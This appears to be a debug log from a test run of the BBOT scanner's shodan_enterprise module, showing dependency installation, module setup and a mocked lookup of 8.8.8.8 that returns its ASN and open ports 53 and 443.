+2026-03-01 16:58:23,431 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-03-01 16:58:23,432 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-03-01 16:58:23,433 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-03-01 16:58:23,433 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-03-01 16:58:24,509 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:58:24,510 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:58:24,511 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-03-01 16:58:24,647 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-03-01 16:58:25,204 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-03-01 16:58:25,205 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-03-01 16:58:25,205 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-03-01 16:58:25,206 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-03-01 16:58:25,406 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-03-01 16:58:25,408 [DEBUG] bbot base.py:103 Mocking DNS +2026-03-01 16:58:25,517 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-03-01 16:58:25,517 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-03-01 16:58:25,571 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-03-01 16:58:25,574 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-03-01 16:58:25,574 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-03-01 16:58:26,002 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-03-01 16:58:26,003 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-03-01 16:58:34,956 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-03-01 16:58:34,957 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-03-01 16:58:34,957 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-03-01 16:58:36,787 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-03-01 16:58:36,788 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-03-01 16:58:36,793 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:58:36,794 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-03-01 16:58:36,794 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:58:36,794 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-03-01 16:58:36,795 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:58:36,795 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-03-01 16:58:36,795 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-03-01 16:58:36,796 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-03-01 16:58:36,800 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/qozslmt674h3b00e6hyp +2026-03-01 16:58:37,588 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-03-01 16:58:37,589 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-03-01 16:58:37,589 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:58:37,589 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-03-01 16:58:37,591 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-03-01 16:58:37,708 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-03-01 16:58:37,709 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-03-01 16:58:37,709 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-03-01 16:58:37,710 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-03-01 16:58:37,710 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-03-01 16:58:37,711 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-03-01 16:58:37,711 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-03-01 16:58:37,712 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-03-01 16:58:37,712 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-03-01 16:58:37,713 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-03-01 16:58:37,713 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-03-01 16:58:37,714 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-03-01 16:58:37,714 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-03-01 16:58:37,714 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-03-01 16:58:37,714 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-03-01 16:58:37,714 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-03-01 16:58:37,714 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-03-01 16:58:37,715 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-03-01 16:58:37,715 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-03-01 16:58:37,715 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-03-01 16:58:37,715 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-03-01 16:58:37,716 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-03-01 16:58:37,716 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-03-01 16:58:37,716 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-03-01 16:58:37,716 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-03-01 16:58:37,716 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-03-01 16:58:37,716 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-03-01 16:58:37,717 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-03-01 16:58:37,717 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-03-01 16:58:37,717 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-03-01 16:58:37,718 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-03-01 16:58:37,718 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-03-01 16:58:37,718 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-03-01 16:58:37,718 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-03-01 16:58:37,718 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-03-01 16:58:37,718 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-03-01 16:58:37,719 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-03-01 16:58:37,719 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-03-01 16:58:37,719 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-03-01 16:58:37,719 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-03-01 16:58:37,719 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-03-01 16:58:37,720 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-03-01 16:58:37,720 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-03-01 16:58:37,720 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-03-01 16:58:37,721 [DEBUG] bbot base.py:111 Starting scan +2026-03-01 16:58:37,857 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_w0joub0koz +2026-03-01 16:58:37,857 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-03-01 16:58:37,971 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-03-01 16:58:37,972 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-03-01 16:58:37,972 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-03-01 16:58:37,974 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) +2026-03-01 16:58:38,074 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) passed post-check +2026-03-01 16:58:38,074 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) +2026-03-01 16:58:38,076 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) in-scope because its main host matches the scan target +2026-03-01 16:58:38,077 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:58:38,078 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:15290f044758213569a13bf01f6a613a8d38260c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:58:38,079 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:15290f044758213569a13bf01f6a613a8d38260c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:58:38,080 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-01 16:58:38,080 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:58:38,082 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:15290f044758213569a13bf01f6a613a8d38260c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:58:38,084 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:15290f044758213569a13bf01f6a613a8d38260c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 16:58:38,084 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:15290f044758213569a13bf01f6a613a8d38260c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:58:38,086 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:15290f044758213569a13bf01f6a613a8d38260c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:58:38,086 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:15290f044758213569a13bf01f6a613a8d38260c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:58:38,088 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:15290f044758213569a13bf01f6a613a8d38260c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:58:38,089 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:15290f044758213569a13bf01f6a613a8d38260c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-03-01 16:58:38,092 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:58:38,093 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-01 16:58:38,093 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:58:38,093 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:58:38,094 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded +2026-03-01 16:58:38,094 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded +2026-03-01 16:58:38,095 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET +2026-03-01 16:58:38,095 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-01 16:58:38,095 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:58:38,187 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:58:38,188 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:15290f044758213569a13bf01f6a613a8d38260c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-03-01 16:58:38,189 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:15290f044758213569a13bf01f6a613a8d38260c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:58:38,189 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET +2026-03-01 16:58:38,190 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-01 16:58:38,190 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:58:38,190 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:58:38,191 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:58:38,192 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:58:38,192 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:58:38,193 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 16:58:38,193 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:58:38,194 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:58:38,194 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:58:38,194 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:58:38,195 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:58:38,195 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:58:38,195 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:58:38,196 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:58:38,197 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:58:38,197 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:58:38,198 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:58:38,198 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-03-01 16:58:38,199 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:58:38,199 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:58:38,200 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:58:38,200 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:58:38,201 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:58:38,201 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:58:38,202 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:58:38,202 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:58:38,202 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:58:38,203 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:58:38,203 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:58:38,204 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:58:38,204 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:58:38,204 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:58:38,205 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:58:38,206 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:58:38,206 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:58:38,206 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:58:38,207 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:58:38,207 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:58:38,208 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:58:38,208 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:58:38,209 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:58:38,209 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:58:38,291 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-03-01 16:58:38,293 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:58:38,293 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:58:38,294 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:58:38,295 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:58:38,295 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:58:38,296 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:58:38,296 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:58:38,296 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-03-01 16:58:38,297 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-03-01 16:58:38,297 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-03-01 16:58:38,298 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-03-01 16:58:38,298 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-03-01 16:58:38,299 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-03-01 16:58:38,299 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-03-01 16:58:38,299 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-03-01 16:58:38,399 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-03-01 16:58:38,400 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-03-01 16:58:38,419 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-03-01 16:58:38,420 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-03-01 16:58:38,420 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-03-01 16:58:38,427 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-03-01 16:58:38,428 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient 